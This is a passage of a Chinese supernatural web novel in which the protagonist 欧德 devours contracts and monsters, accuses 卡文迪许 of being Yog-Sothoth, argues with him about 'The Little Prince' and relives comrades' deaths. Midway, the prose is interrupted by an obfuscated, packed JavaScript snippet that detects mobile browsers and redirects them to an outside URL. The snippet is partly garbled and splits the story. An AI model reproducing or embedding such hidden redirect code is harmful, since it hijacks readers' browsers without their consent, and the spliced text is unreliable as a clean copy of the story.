再睁眼,就见欧德口中叼衔着一张老旧的牛皮纸,正像无骨的蛇一样蜿蜒在海底,睁着那双似乎很久没眨过的绿眼睛,幽幽地四下寻找着下一个蕴含有足够强大的力量、值得他捕猎的猎物。 “……那是,和克希拉的婚契吗?”梦境新神打着哆嗦,大脑基本空白地看着欧德一点一点、面无表情地咀嚼起那张蕴含着力量的婚契。 如果欧德还清醒着,他一定会半是警惕,半是试探地和梦境新神搭话,解释这张婚契是大衮屁滚尿流地逃走时留下的。 但他此时只是瞥了眼会动但是没营养的梦境新神,就不感兴趣地挪开视线。嘴里还啃着克希拉的婚契,脑袋就像柔软的蛇一样垂向胸前,往衣襟里叼了几下,才叼出之前那张经历了几番死斗,甚至连湿都没被打湿的纸张,和婚契一道咬进嘴里。 这倒是没偏离清醒时欧德想好的计划,他一直留着这张写有犹格索托斯名讳的纸条,为的就是这一刻。 不管这东西原本是干什么用的,对他而言唯一重要的,是这东西上承载着足以对抗星之彩的力量。在危急时刻,它就是他应急的底牌。 坚韧的纸张在欧德的牙齿咬合下逐渐破损,干涩的碎屑卡在喉咙中,又被他合着血水强行咽下。 “你……”梦境新神简直快抖出残影了,“你怎么什么都吃!你知道刚刚那是什么东西吗?!那是能召请犹格索托斯的契约!我从没见过这种契约……像犹格索托斯这样的神明根本不可能回应任何召唤,为什么你手上会有……不,这不是重点。重点是我从没见过有生命吞食这种东西,如果有什么后果——” 梦境新神的絮叨在直面上欧德那双毫无人性的绿眼睛时戛然而止。 “咕咚。”欧德没什么表情地将最后一口契约强行咽下,这次顺利地用双手撑起了身。 那两份契约如他所预想的那样,在他的胃袋里以极快的速度转化成了力量,涌向全身。 他身上的每一根骨头、每一处血肉都在发出欢愉舒适的声音,那些丑陋的伤口与扭曲都以肉眼可见的速度被抹平了。 ……但在更深处。在灵魂的深处。 即使思维停摆,欧德依旧能感觉到有什么东西正在缓缓凝聚。 凝聚成某种,并不需要任何理性辅助,只要诞生,就能自然而然地知晓的东西: 一枚婚契。 但契约的另一方不是大衮。 “……”静谧的海水中,欧德缓缓抬头,微微一偏,像注意到令人迷惑的事物的兽类。 下一刻,他倏然抬手,五指狠狠凿向才刚刚长好的小腹! “啊啊啊啊主啊……”梦境新神瞬间惨叫出声,叫到最后崩溃地捂着脸呜呜哭起来。 祂心中充满了接下这个传话任务的悔恨,无比想从这头疯狂的野兽身边逃开,但他不能:“停下!停下!!这里没有食物可供你进食了,你会死的!!” 欧德根本不带理他的,野兽如果会听蚊子叫嚷那就不叫野兽了。 他只是垂着头,凶狠地、烦躁地,一下接一下凿着自己的腹部,活像那不是自己的躯体,而是某种叫他深恶痛绝,宁可血肉模糊,也要从骨血中挖出来的东西。 血雾再次在海水中一蓬蓬地绽开,蔓延,直至某一刻。 光自海水上方奔涌而来。 它翻涌着,浩浩汤汤。聚合又裂散着,像有亿万颗超新星同时诞生,又步向无可逃避的熄灭。 海水因这辐射的力量沸腾了,升起大片气泡,又被压力挤碎。 沉闷、连续、撕裂布帛般的巨响声中,白色激流折射着光辉,像无数升起的璀璨碎钻。 那亿万光辉便裹挟在这璀璨的闪光带中袭向欧德,一下将他扑倒在地,死死箍住他那双沾着自己血肉的手,扣在海床上。 “犹格……”梦境新神仅来得及喃喃了不到半个名讳,就被那爆裂的闪光带粗暴地荡开,直接扔出小镇之外。 下一刻,海水中的欧德喉咙里滚出低低地咆哮,右臂骤然发劲,带着身体向侧上方一腾,森利的牙就瞬间咬向禁锢住他手腕的那股无形之力。 裹挟在破碎气泡中的光辉倏然一散,再动手时,接连五道光带探伸而出,分别固定住野兽的脖颈和四肢关节。 欧德在自由受限下越发被激怒,用力排出胸膛中的氧气后故技重施,对准敌人再度鲸吸—— 才安静下来不久的海底,再度混乱起来了。 没有任何生灵能从浑浊而暴虐的乱流中看清战况,也没有任何生灵敢于靠近这片死亡之地。 有那么几回,缠斗双方像炮弹一样轰然砸上海底的火山口,那烟囱似的石柱就缓慢坠倒。 砸落在地时,双方同时撞上海床面,巨大的震颤生生扯裂了一道深壑,海床下封存已久的岩浆霎时喷涌而出! ——如果欧德还清醒,他一定会发现很多蹊跷之处。 比如克希拉的婚契和犹格索托斯的召唤契约就算合并,也没道理从低等神的婚契提档成高等神的婚契。 比如为什么犹格索托斯要阻拦他这个婚契对象自尽? 他袭向犹格索托斯的攻击总是落空这不难理解,为什么犹格索托斯的攻击同样也挨不着他?这种奇怪的模式是不是有点似曾相识? 但此时的他只有安眠被惊扰后,被激怒的兽性,因此只是遵循本能进行所有的攻击和防御,直到某一刻,那裹挟着他的光辉骤然卷着他冲出海面,一下砸落在某座孤岛碎石嶙峋的岸边。 “吼……”他发自胸膛深处的咆哮终于能发出声音了,刚想借着重新亢奋起来的凶劲从敌人身上撕下一块肉来,那光猛地一压他的后颈,令他的额头重重嗑在海岸边搁浅的一艘旧船上。 “嗬……”他兀自凶猛地挣扎着,直至眼前的湿发滑开,一片浅淡的刻印映入他的眼帘。 那刻印很简陋,一半的线条笨拙,另一半的线条古朴圆滑。 笨拙的那一边深深浅浅地刻着一个抱着西瓜的线条小人,小人下刻着一个名字“玛尔”。 圆滑的那一边刻着一个比线条小人粗壮了一圈的饼干人,小人下刻着一个名字“鲁伊”。 两个小人甜甜蜜蜜地牵着手,西瓜里也刻着一个名字: 【欧德】 “……”挣扎中的欧德愣了一瞬。 而后他听见有人在他耳边轻声问:“这个理由,够不够让你活过来?” 17.第 17 章 “……”狂怒中的野兽似乎安静了下来。 一秒,两秒……压着野兽后颈的力量估摸着这下应该是没事了,缓缓松开桎梏…… 下一刻,欧德倏然回首,凶恶地从身后不断裂聚的光河中生生撕咬下一团光雾! “!?……”没人能猜到此刻犹格索托斯作出这一系列行动的目的,但如果祂也拥有情绪,祂内心此时的心情应该是无语。 祂反应极快地在欧德一咕咚将光雾吞下喉咙前,一顶欧德的喉结,生理性的条件反射让欧德张口反呕,那团塞得他腮帮子鼓鼓的光雾霎时流溢出来,在空间中消弭于无形。 恼火的欧德登时一脚踩上木船,借力转身,刚准备将不安定因素从自己新确定的地盘驱逐走——指以能填饱肚子的那种方式——眼前蓦然一空。 “噜……?”低低的疑惑声从欧德嗓子里滚出来。 他警惕地围着石岛巡逻了几圈,确认每一个犄角旮旯,哪怕是石头下压着的草根里都不可能藏着之前那个讨厌的玩意儿,才重新回到木船边端庄坐下,拿手轻轻摸了摸那片雕刻画。 现在是晚上十一点,远远超过了欧德平日里上床入睡的时间。 接连死斗了数场的野兽终于感到困倦了,他打了个大大的哈欠,绿眼睛最后一次警惕地环视过空无一人的石岛,终于紧贴着雕刻画垂下头,缓缓闭上双眼。 · 欧德是在烤鱼的咸香中醒来的。 他的眼皮还没睁开,口水先被孜然柠檬的香气勾出来,惺忪地睁开眼时,只觉浑身舒畅轻松,活像昨晚才对着沙袋痛快宣泄完一通情……绪…… 睡前的记忆逐渐回笼,从鲸吸海水,到撞醒火山。欧德不由地摸向自己还瘪地咕噜叫唤的肚子,却冷不丁地摸到骆马绒布料特有的昂贵触感:“……?” 他下意识地低头,就见自己原本应该光秃秃的身上,这会儿正整齐地裹着一套骆马绒西装。比羊毛更加昂贵且易坏的布料原本只该出现在室内宴会中,但现在它却沾满碎石滩上的湿沙。真是让欧德……让欧德…… “卡文迪许。”欧德头都不用回,就能猜到后方在烤鱼的人是谁。 他像穿着一身瓷器似的从地面上小心且僵硬地爬起来,有点咬着牙说:“如果你有很多钱,就把它们花在做有意义的事上。” “这对我来说就是有意义的事。”卡文迪许坐在海滩边,膝盖上平坦着一本书,鬼知道他屁股底下的红丝绒靠椅是打哪儿来的。 他十分文雅地冲着欧德点点下巴:“合身吗?经典的萨维尔街公爵式剪裁,有轻微的收腰,很能展现你的身材——” “说得好像你就能看到一样。”欧德刻薄地说着,几下拍掉布料上的沙砾,走到卡文迪许身后低头一看书,又是一轮心梗,“你怎么还在看《小王子》??我说了你们之间不合适,你就不能放过彼此吗?” “哪里不合适?”卡文迪许发出不赞同的声音,“近来重读这篇故事,我惊讶地发现自己竟能和其中的角色感同身受。” “……”欧德说,“真的吗。谁?” “当然是飞行员。”卡文迪许讶然说,“之前在深潜者据点我就背过一段给你听,你没印象了?但那时候我的感触还没有现在这么深……看看这段。” 卡文迪许居然真的清清嗓子,摸着纸页上的墨字念道:“‘小王子沉默了一会又说:[你的毒液管用吗?你保证不会使我长时间地痛苦吗?] 我焦虑地赶上前去,但我仍然不明白是怎么回事。 [现在你去吧,我要下来了!]小王子说。 于是,我也朝墙脚下看去,我吓了一跳。就在那里,一条黄蛇直起身子冲着小王子。这种黄蛇半分钟就能结果你的性命。’” “……”欧德就拿眼睛面无表情地瞅着卡文迪许,看他能吐出什么象牙。 卡文迪许抬起头:“你不觉得故事里的小王子很叫人恼火吗?任何有常识的人,怎么会去和毒蛇说话?任何有理智的人,怎么会为了一朵必然够不到的玫瑰花,放弃自己的生命,说什么‘我要去的地方太远,带着身体不行,所以我得死了灵魂才能找到它’?” “卡文迪许。”欧德语含警告,“接下来的话你最好在心里好好想几遍再说。我不希望什么正事都没说,先跟你打起来。” 然而卡文迪许也有他自己的执着:“我认为故事里的小王子就是典型的浪漫主义者,因为不切实际的目标,放弃真正实际的生命。这很愚——” “咚!” 三分钟后。 卡文迪许拿手帕捂着青了一块的额角,姿态看起来居然依旧优雅:“我很同情飞行员。他必须面对一个一心求死的小王子,道理说不通,劝说也不听。所有人都怜悯小王子为爱而死,然而谁来考虑不得不承受这一切的飞行员的心情?” “……”欧德心想,谁来考虑他这个不得不听牛嚼牡丹、还发表挑剔感言的爱花者的心情? 他将最后一口烤鱼咽下肚,拿巾帕斯文地擦了一下嘴,承认卡文迪许令人惊讶的烹饪水平,但主打一个拿人不手短,吃人不嘴软。张嘴就是一句:“你究竟是谁,卡文迪许?” 欧德微微前倾身体,逼近卡文迪许:“我有个自己都不敢置信的推论——” 卡文迪许用礼貌的语气不礼貌地打断:“那么你也许就不该相信这个推论——” 欧德置若罔闻:“我认为你是犹格索托斯。” 海滩边安静了几秒,只有海鸥在清晨的雾霭中鸣飞。 卡文迪许缓缓开口:“所以……你认为犹格索托斯会为你做烤鱼,替你穿衣服,在你的威胁下乖乖顺从——” “你管夜袭碾没了三间房、故意在潜伏的时候冒头不走叫顺从?那我还真想知道在你心里不顺从是什么样。”欧德冷嘲热讽,“而且,如果不是这样,你要怎么解释犹格索托斯的行为?” “我想凿出婚契,但祂阻止我自残。我坠入疯狂,祂特地把我拖上这个岛,让我看父母的遗迹——” 卡文迪许随意地耸耸肩:“也许只是你说的‘婚契’让祂和你休戚与共,所以他阻止你去死——” “那么我保持疯狂,祂也会和我一样变成疯子吗?”欧德看着卡文迪许,单手撑住卡文迪许肩后的靠背,缓缓附身,随后将挺拔微凉的鼻尖以一种相当无礼且冒犯的方式埋进卡文迪许的肩窝深嗅了一下,“而且,为什么祂身上有和你一样的香水味?皇室之水[注],对吗?这款香水的名字。” “这可不是一位英国绅士该有的礼仪。”卡文迪许彬彬有礼地用不容抗拒的力量握住欧德的肩膀,将人礼貌地带开,“但我可以告知你真相——我是一名魔法师,一名犹格索托斯的信徒。” 欧德用你看我信吗的神情注视他。 反正也看不见,卡文迪许泰然自若:“也许是因为我是所有信徒中最具有天分的那一个,我能时常觐见神祇,尤其是在捕梦小镇的这段时间。我想香水味就是那时候染上的。” “……”欧德说,“我坐你身上都未必能染上你那香水味吧,你是跟你信仰的神明一起泡了个香水澡吗?” 卡文迪许淡淡的神情颇有种你能奈我何的死猪不怕开水烫感:“也许是这样。” 欧德:“…………” 人——神——这家伙怎么能不要脸到这份上?!? 卡文迪许神态自若:“但我同样好奇,除了你说的这些,还有什么信息让你产生了这样的疑虑?” 太多了。可疑的点太多了。对方好像根本没有在隐瞒身份这件事上太上心,被不被揭露都随意。 事实上,欧德回想这段时间的经历,甚至会产生一种感觉,似乎对方是有些期待他发现真相的,哪怕一开始对方的目的很明确是想杀死他。 “……”欧德直起身,并没有顺着卡文迪许的问题接下去,“让我说个故事吧。作为这套西装的报酬。我确信这个故事如果卖给……和你一样的信徒,能够获得一笔足以买下它的酬金。” 他重新坐回木船边,手掌在刻画上轻轻摩挲了一下:“你已经知道这个故事的前提条件了——这应当是我第二次经历这一切。” “假设,所有的这些危机,我都在第一轮面对过一回,你觉得婚契的结成也囊括在内吗?” 完全否定就太愚蠢了,卡文迪许霜色的眼睫眨了一下,那种古怪的期待感又从那张一看就不怎么在乎人命死活的脸上流溢出来,并不明显,但因丝毫未加掩饰,也很难忽略: “也许是的。” 欧德盯着卡文迪许:“你认为,骤然被一个渺小卑微的人类绑着结婚,犹格索托斯会感到高兴吗?” 他抬手止住卡文迪许想发表的不赞同言论:“接下来的故事,只要建立在你就是犹格索托斯这个前提上,就会变得非常流畅——” “犹格索托斯想要摧毁婚契,于是寻找我。但就像你根本无法伤害我一样,祂也无法对我下手。那么摆在祂面前,能够摧毁婚契的路就只剩一条——” 回溯时间,将一切倒转回婚契尚未缔结前。 这就是欧德在GORCC的基地里呆得好好的,突然经历时间逆转的原因。 也是卡文迪许这个本该跟他素昧平生的人,大晚上找上门要杀他的原因。 欧德眯起眼睛:“我猜吞食犹格契约和克希拉婚契这件事,不在你的预期之内吧?当我吞食它们时,有个牙仙子跑到我耳边说什么祂是‘趁着犹格索托斯的注意被雅威转移走,抓紧时间来传话的’……” “我猜,星之彩攻击我时,你突然离席,回来后又说是‘遇到了一点还没解决的麻烦’……这个麻烦,指的就是雅威找上门吧?” 卡文迪许的关注点一向清奇:“你不在意那个‘牙仙子’是什么?也不在意‘雅威’这个名字?我以为任何人在听闻雅威这个名字后,都会惊讶这不是上帝的名讳吗?这个雅威和上帝是什么关——” 欧德猛地起身,俯身撑住座椅靠背,另一手拽起卡文迪许整理得没有一丝歪斜的领带。他的鼻尖几乎抵着卡文迪许的,压着声音磨牙道:“我不在乎什么上帝。我从没踏进过任何一家教堂。我现在说的是你——” “我得承认,你讲述了一个很有趣的故事。但你不觉得你的故事里有很多矛盾的地方吗?”卡文迪许顺着欧德的力道微微挺着胸,仰着头,看起来很从容,“比如——为什么你确定犹格索托斯是无法伤害你,不是另有目的?” “就像你说的,假如祂无法伤害你的原因是碍于婚契,那么时间倒转,婚契不复存在,祂应当随时能够取走你的性命——我应当随时能够取走你的性命,但事实是我不能。” “……”欧德卡住了几秒,“这其中一定藏有合理的解释,只是我还没弄明白。” 卡文迪许微笑着将变得皱巴巴的领带从欧德手中拯救出来:“也许你弄不明白的原因,是基础假设是错的。你该考虑推翻重建。” “另外,”他理好领带,抬起头,顶着欧德恼火的眼神很诚恳地说,“假使我真是犹格索托斯,你不认为当面挑开身份的行为有点……太冒险了?——行行好,小王子,别总想着与蛇共舞。飞行员会伤心的。” “…………”欧德连掉了三层鸡皮疙瘩,愣是没能把“谁家飞行员整天想着弄死小王子,你到底是飞行员还是蛇”说出口。 卡文迪许倒是若无其事:“你接下来打算做什么?研究那条木船上的刻画?” “……不。”欧德盯着卡文迪许看了一会,压下那点不甘心站直身体,走到木船边蹲下,掰下那片巴掌大、已经摇摇欲坠的木板塞进怀里,“所有事都可以等,只有一件事,必须现在就做。” “?”卡文迪许饶有兴致地扬眉,“什么事?” 欧德笑起来,半蹲着转过头看向卡文迪许,屈指敲了敲船板:“过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574388|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”卡文迪许一动不动片刻,终于还是起身,顺着声源迈步,“我不喜欢这种叫人的方式。” “我喜欢。”欧德欣赏着讲究先生乖顺走来的画面,伸手将人一下拉蹲下来。 因为猝不及防——也可能是为了演戏,卡文迪许没能蹲稳,顺着惯性向侧倒去,双手撑地止住势头时,恰好将欧德整个困在身下。 欧德抬手摸上卡文迪许结实劲瘦的侧腰,手隔着西装,能感受到布料下绷紧的肌肉。 “……”卡文迪许维持着这个姿势片刻,在欧德掀起他的西装下摆时,像受到引诱一样缓缓垂下头,“这就是必须现在就做的事?继续缟玛瑙浴室里的……” “找到了。”欧德从卡文迪许腰后拔.出之前夜晚敲门,威胁他用的手枪,干脆利落地开保险、上膛,紧跟着抬起包裹在西裤中的长腿,膝盖抵在卡文迪许的胸口,将人不紧不慢地抵开,“既然你是犹格索托斯的信徒,你知道大衮的巢穴在哪吗?” 斩草不除根,等着来年春天长出一茬新隐患吗?还是不了。 他这人道德水准不是很高,记仇,疑心重,能杀死的敌人一般不会留过夜。 两分钟后。小镇附近的某处海沟中。 “Vulgtmor……Y'' gotha vulgtmorr! l'' bug shugnah……Or''uh''enah shuggothh!”伤口愈合了大半,但仍有一部分豁口汩汩涌着血的大衮虚弱而暴怒地窝在海床上,冲着周围幸存的深潜者们发出低沉的咆哮。 欧德藏在海沟上方一簇十几米长的海草丛中,嘶嘶抽着气,在新摸来的手枪上画完最后一笔,随后用手指戳了戳卡文迪许的腰眼:‘祂在喊什么?’ 卡文迪许无声叹了口气,似乎对自己当下这种被差遣来使唤去的现况已经认命了:‘它说祭品,我需要祭品,去岸上,抓人类下来。’ 欧德满脸写着“就猜到是这样”点点头,从旁边牵了一簇海草来,往卡文迪许手腕上系了几道:‘乖乖在这儿等着。别乱跑。’ 卡文迪许:“……” 欧德看也不看卡文迪许无言的样子,划动水流,直接游进下方的海沟。 与此同时,巢穴之外。 几名守门的深潜者十分敏锐地发觉了入侵者的影子,当即举起手中的武器:“Ahf''……啊啊啊啊啊啊啊啊!!!” 一露面就让深潜者们惊恐尖啸的欧德眼睛眨也不眨地举枪瞄准,子弹在海水中撕裂出一条条真空带,发出爆破似的沉闷响声,仿佛一点没意识到自己的不受欢迎——或者说他知道,也许他还有点享受这走哪哪恐慌的待遇。 巢穴中的大衮听见了响动,暴躁地抬头:“Ahf''——啊啊啊啊啊啊啊!!!” ——事实证明,虽然不同生物之间语言不通,但是尖叫声还是大致类似的。 欧德倾泻而出的子弹几乎将整片海沟撕扯成无水的干燥地带。等到枪声终于停止,被阻隔在外的海水从百米高空猝然砸落,将本来就伤上加伤的大衮砸得短暂休克。 欧德举着枪一路游到大衮身边,再次因对方满是藤壶和管虫的丑陋样貌面露嫌恶。 但瞅瞅那些隐约有愈合趋势的血洞,原本还指望可以不吃怪东西的欧德不由地深深叹了口气,拍拍自己的脸,强行让自己做好心理建设,随后,猛然鲸吸! 殷雷般的巨响在海中荡开,巨大的海底旋涡令整条海沟逐渐崩坍。 欧德在头顶的石架砸下来前迅捷地游出海沟,摸摸吞了不知道多少吨海水的肚子,终于有了种吃得太多,食物抵到嗓子眼的撑涨感。 卡文迪许真的还乖乖待在原处等着他,此时伸手去解手腕上的海草:‘接下来呢?’ ‘去教堂。’欧德一把拽住卡文迪许的手腕,将剩下的海草直接粗暴地扯断,带着人远离这片臭不可闻的海域。 卡文迪许头直摇,看口型像是又骂了一次野蛮。但下一刻,他结实有力的臂膀像钢铁一样箍住欧德的腰,光芒骤现。 欧德条件反射地闭眼避开这不可直视的光,再睁眼时,就见他们已身处于一间狭窄昏暗的告解室中,只有头顶墙壁上的基督彩窗投映下一片并不大的彩色光斑。 “西装。”欧德微微喘着气,“毁了。我说过这材质中看不中用——” “可以买新的。”卡文迪许一点都没有推开他身后的门出去的打算,反倒向前又进了半步,高大坚实的身躯将欧德挤在木墙上,低声说,“要我帮你弄干衣服吗?这么去见神父似乎不大得体。” “谁说我要见神父了?”欧德匀过气就伸手去推卡文迪许,手掌按在对方隔着西装都能感受到饱满肌肉的胸膛上,有那么一瞬心头划过几分嫉妒。 他从小就吃不壮,以前三餐正常,甚至几顿甜点时,他的体型都没达到过“健康匀称”那一档,始终在“单薄”的区间晃荡。 但卡文迪许这次却没有退开,反而低下头,用鼻尖寻找了下欧德,微凉的皮肤划过欧德的脸颊:“我以为你在因为又吞食了一头怪物感到害怕,害怕自己也变成同样的怪物,所以来教堂忏悔,寻求告解。” 被揭穿了一半心绪的欧德面不改色,嗤笑了一声:“不忏悔。忏什么悔?变不变怪物,死不死都是我自己的事,没人能管。神也不——唔。” 卡文迪许的唇忽然挤压了过来,将他没说完的话堵回嗓子眼。对方的动作里带着和他这个人、乃至背后的存在都不契合的热切,攫取着欧德口中的每一点空气和潮湿。 欧德的手抬了几秒,最终还是压上卡文迪许的后背。 初次分开时,卡文迪许追着唇舌间尚未牵断的银丝又吻过来,被欧德抬手捏住下巴止住了。 “干什么呢。不得体。”欧德轻声责怪,“我现在可是你侍奉的神明结了婚契的伴侣。” “你在乎吗?”卡文迪许反问,“你真的在乎那东西吗?” 18.第 18 章 卡文迪许那双雾蒙蒙的眼睛在空气中不断搜寻着,似乎比任何一刻都想能看到欧德的神情。 但告解室陷入短暂的沉静后,欧德只是噙着很淡的笑,看着他轻轻说:“对。我不在意。” 野兽注定不会被枷锁禁锢。婚契之于欧德来说,跟一块有点难洗的刺青没什么区别,无非是死斗时留下的又一道伤疤,难道还指望他真把这婚姻当回事,为契约的另一方着想考虑吗? “你又为什么激动呢,”欧德的语气始终是平淡的,他总爱用这样平淡的语气将一些互相心知肚明的遮羞布揭开,像无情锐利的手术刀,“我来教堂,你激动什么呢?” “你把我抵在这里,问我是不是在为又吞食了一头怪物感到害怕,为自己可能变成怪物感到害怕,你在期待什么呢?” “……”卡文迪许攥着欧德肩膀的手微微收紧,“飞行员问小王子会不会害怕毒蛇,除了希望小王子能害怕死亡,学会惜命,还能有别的理由吗?” “那艘船上的雕刻,明明白白证明你的父母也曾来过这座小镇,你难道半点也不在意?你不想知道他们的雕刻为什么会出现在这里,他们的过去还埋藏着什么秘密?你……” 卡文迪许大概真的很少有激烈的情绪起伏,甚至连发怒都生疏,酝酿半天只挤出一句威力稀松平常的斥骂:“你简直是被毒蛇蛊惑得找不到头脑了!” 欧德却只是一哂:“这么在意做什么?反正他们都已经死了,等到再见面的时候直接去问他们,这不是刚刚好——唔。” 吻又封了过来,也不知道卡文迪许这会儿共情的是怎么劝都劝不通小王子的飞行员,还是吵不过架、只能恼火地把不中听的话都堵在唇舌间的人类情侣。 欧德慢慢将手指揉进卡文迪许冰冷丝滑的银发里,在再度分开时尚显轻松无谓地继续调侃:“而且,你要是想跟我发展一些你信奉的神明不会乐见的关系,那还是不要自比飞行员比较好。” “照你的视角看,飞行员可没等到一个好结局——他只是小王子漫长旅途中偶然路到的一名旅伴,暂时的,也不特别,和那些孤独的国王、忙碌的会计没有多少差别。他不是小王子所爱的人,所以当小王子决定奔爱而去时,他只能看着小王子为另一个人离——嗯……” 卡文迪许用唇研磨那些叫他不快乐的话语,把那些讨厌的语言碾碎成断续的急喘。这是第二回,欧德在卡文迪许的声音里听出咬牙切齿,并且比第一回鲜明太多:“你能少说话吗?” 欧德却从卡文迪许的不快乐中汲取到了快乐:“我叫你闭嘴的时候,你也没听过我话啊。” 他轻佻地拍了拍卡文迪许绷紧的侧脸:“再说了,你跟飞行员还不一样呢。好歹飞行员能理解小王子对玫瑰的爱,你懂吗?不,你不是飞行员。你只是那个寂寞小星球上的国王,终于看到身边有个人来,就拼命想留下——” “咚!” 木板围成的告解室骤然晃荡了一下,紧跟着又传来一串四肢抵撞在四壁上的挣扎扭打声,最后收敛于看似安静的唇舌交缠。 卡文迪许紧紧攥着欧德的手腕,好像这样就能将小王子扣在安全的地方,别一天到晚地想见毒蛇。 欧德被迫拧着脖子和卡文迪许接吻,多少有点上不来气,正准备哂笑一声再说几句不中听的话火上浇油,忽然听见教堂外传来一阵骚乱声: “啊!!!!怪物,吃人的怪物!” “警局呢?!快去找救援啊!” “警局早被吃空了!你以为我们为什么从港口逃来这里?!去教堂!快去教堂!那怪物一定不敢进主的地盘的!!” “轰!” 欧德变了脸色,一把推开卡文迪许时,教堂的大门被轰然撞开,惊恐尖叫着的人群涌入最后的庇护所,完全没人在意神父们脸上的恐惧是否比他们少。 “怪物在哪?吃了多少——”欧德大步踏出告解室,右脚刚跨出门槛,手腕就被卡文迪许再次拉住,“——放手。” “别去。”卡文迪许没松手,“你现在太瘦弱了,赢不了的。何必为和自己无关的人拼命?” “当——” 正午的钟声在这时在教堂中荡开,恢弘悠长。 “当——” 欧德在这一瞬再次陷入一段清醒的梦,也或许,那就是他残失的记忆: “走!走!欧德!你他妈的敢回头试试,滚!!”夹带着虹彩的子弹追在欧德的脚跟后,迫使他一路向前逃亡,不敢回头。 “操……教官一早就说我早晚得死在色字上,没想到真让他算准了……那个半吊子瞎算命的。——还看我干嘛?头一次见埃及人?带上伊娃滚啊!妈的,傻逼英国佬,滚!快滚!” “欧德,听我说……别相信任何人,你不能……呃……答应我,如果你见到我的丈夫……给他一个痛快的,他怕痛……我本该自己完成这个承诺的,但我……欧德,欧德……如果你……你能赢,把我和他……埋在一起,你……” 纷乱的画面逐渐清晰,骤然定格在伸手不见五指的黑暗中。 这黑暗中唯一可见的,是一张俄裔女人的脸,而他的手正举着一把亮着金纹的手枪,枪口抵着名为伊娃的金发女人的眉心。 他看不见伊娃的身躯,对方的身躯藏没在黑暗中。他只能看见伊娃那双冷漠的眼睛泛着红,以强压着情绪的冷静声音说:“开枪。在我彻底失去理智前。” “乓!” 第一声枪声响起,火光后倒下的是眉心间多了一个黑洞的伊娃。 “乓!” 第二声枪声响起,火光后倒下的是半张脸流淌着灰色浆液的埃及佬。 “乓!乓!乓!” 枪声越来越快,倒在他面前的身影不断切换,有他见过的,有他没见过的,有狰狞的怪物,有向他闭上双眼引颈就戮的军人。 尸体在他膝盖前堆积成山,将他高高托起,他甚至在其中辨认出几具残缺的尸体属于萝拉——还穿着校服的萝拉,长大后穿着白大褂的萝拉…… 而后某一瞬,这些叫他想像被烫到了一样丢开枪的尸体骤然不见。 他出现在GORCC上方那座教堂中,只是教堂已经被夷为平地,浓黑的焦烟滚滚冲天,浮士德就坐在那废墟中,仰头看着远方云层中透下的晨曦: “你知道一直以来我都把所有的精力、金钱砸在研究时间上,我尝试达成一种效果——使用炼金术,再加上自愿的献祭,也许在某一瞬,人类可以从神明手中夺走时间的控制权,哪怕只有一瞬。” “不过这辈子看起来我是没机会试用这个了。给你吧。” 浮士德随手将一张卷轴丢向欧德,看向越来越明亮的晨曦喃喃:“天知道这会儿多适合抽一根雪茄啊……你小子。” 浮士德转过头,懒洋洋地冲着欧德点了点,“给老子赢。听见没有?然后给老子坟上堆一座一辈子都抽不完的雪茄山。要蒙特克里斯托的,我只抽蒙特克里斯托的……” 阳光落在浮士德身上,他化作一捧飞尘,纷纷扬扬地消散在废墟之上了。 欧德和梦中的自己一同颤抖起来,梦中自己内心流淌的痛苦、愤怒、憎恶、不甘……好像跨越了时间与记忆的屏障,一路烫进他的心脏。 他几乎和梦中的自己一同哆嗦着手,粗暴又轻柔地扯开卷轴上的系带,以想要将符文烙进灵魂的力度瞪视着面前的纸张。 “当……” 最后一声钟声响起,骤然将欧德从过往拽回现实。 现实也是一片兵荒马乱,尖叫与生命在他眼前一并流逝,血泊在教堂的地面上蔓延。卡文迪许仍丝毫不退让地牢牢抓住他的手腕,挡在他面前。 欧德却忽然不那么急躁了,他已经想好了接下来他要做什么——爬上教堂的钟楼,利用那个小牙仙说的时钟回溯时间。 这里的所有人都不会死,他膝盖下的尸山不会再升高。因此再逗留一会也没有关系: “那我和你又有什么关系呢?第一次见面就想杀死我的卡文迪许先生?如果真想不通,那就当做是我见不得人在我面前死吧。” “……”卡文迪许的唇掀动了一下,想说你这样,还总是自称自己道德水平有限?但他顿了一下,又将这句除了情绪没有功能价值的话咽了回去:“你自己难道不包括在‘人’当中?” “你知道吗,你和小王子也不一样。小王子只有一朵玫瑰,你却有成千上万朵玫瑰值得你去拼命,哪怕是那些路边偶然遇到的,素昧平生的。你愿意为那么多玫瑰做这么多,却不愿为自己着想哪怕一点?” “……”欧德挂起了微笑,反向卡文迪许逼近了一步。 这家伙的确够惹他上火的,恰好适合他倒出所有因回忆而生出的恶毒:“你知道吗?如果你想把独占欲伪装成关心来阻拦我,那你就错了。” 他的唇几乎贴着卡文迪许的侧脸,一字一字地轻声说:“会阻拦我的爱我不要,我要的是……哪怕我浑身的骨头都碎了、含着血、掺在呼吸里;哪怕我自己都软弱了,但那个人知道清醒的我想要什么,依然会把我送上我要走的道路。” 欧德微微后退,看着卡文迪许那双没有焦距、似乎只是静静倒映着一切的双眼:“我要的不是飞行员,是毒蛇。所以不管你粉饰成什么,别挡在我的路上。” “……”卡文迪许垂下视线,看向抵住他小腹的冰冷枪口,“这是我的枪。” “那你正好可以选择了。”欧德轻柔地说,“要做我的敌人吗?还是我的毒蛇呢?” “……” 抓住欧德的手几不可查地动了一下,又是几秒的沉默。而后某刻,卡文迪许忽地微微加重手上的力道:“那你会保护你的毒蛇吗?” 卡文迪许没管抵在小腹的枪口,主动将距离重新拉近,低声说:“这绝不是神明希望看到的。也许还会有其他神明想将我从你身边赶走。如果有人想像飞行员那样赶走围绕在小王子身边的毒蛇,你会保护它吗?” 欧德盯着卡文迪许看了须臾:“会的。我会。” 半分钟后,教堂钟楼。 欧德以最快的速度确认完需要赶到的时间地点,就直接赶向钟塔顶层:“一共有两个怪物,波及平民的战斗是从港口晾鱼场那儿开始的。你看见沙滩上那个会计的手表了吗?停在九点整,我们那会儿应该还在海底——” 